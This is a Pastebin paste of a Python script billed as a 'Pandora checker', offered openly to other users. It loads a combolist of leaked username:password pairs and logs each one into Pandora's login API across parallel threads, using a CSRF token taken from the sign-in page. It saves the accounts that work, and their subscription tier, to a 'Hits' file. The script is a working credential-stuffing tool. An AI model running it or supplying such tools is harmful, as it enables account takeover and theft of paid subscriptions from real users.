Advertisement
Guest User

here ya go pastebin lurkers

a guest
Oct 19th, 2019
247
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.67 KB | None | 0 0
  1. # Pandora checker for you pastebin leeches #
  2. # Have fun #
  3.  
  4. import random, requests, threading, string, os, json
  5. from datetime import date
  6. from Tkinter import Tk
  7. from tkinter.filedialog import askopenfilename
  8.  
  9. print('Pandora Checker')
  10. print('Please select combolist')
  11. Tk().withdraw()
  12. filename = askopenfilename()
  13. codes = open(filename)
  14.  
  15. nThreads = 0
  16. def brute():
  17.     while True:
  18.         line = codes.readline()
  19.         code = line.strip()
  20.         account = code.split(':')
  21.         if not line:
  22.                 print("COMPLETE!")
  23.                 os.system('pause')
  24.         session = requests.Session()
  25.         getCSRF = session.get('https://www.pandora.com/account/sign-in')
  26.         cookies = json.loads(json.dumps(session.cookies.get_dict()))
  27.         csrfToken = cookies['csrftoken']
  28.         param = '{"existingAuthToken":null,"username":"' + account[0] + '","password":"' + account[1] + '","keepLoggedIn":false}'
  29.         headers = {"content-type":"application/json","x-csrftoken":csrfToken}
  30.         login = session.post('https://www.pandora.com/api/v1/auth/login', data=param, headers=headers, cookies={"csrftoken":csrfToken})
  31.         if "authToken" in login.content:
  32.             cap = json.loads(login.content)
  33.             sub = cap['config']['branding']
  34.             if "PandoraPremium" or "PandoraPlus" in sub:
  35.                 file = open("Hits " + date.today().strftime("%m-%d-%y") + ".txt", "a+")
  36.                 file.write(code + " | " + sub + "\n")
  37.                 file.close()
  38.                 print(code + " [" + sub + "]")
  39.             else:
  40.                 print(code + " [FREE]")
  41.  
  42. def thread():
  43.     global nThreads
  44.     threads = input('''Threads amount
  45. >> ''')
  46.     try:
  47.         val = int(threads)
  48.         nThreads = val
  49.     except ValueError:
  50.         thread()
  51. thread()
  52. i = 0
  53. while i < nThreads:
  54.     thang = threading.Thread(target=brute)
  55.     thang.start()
  56.     i += 1
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement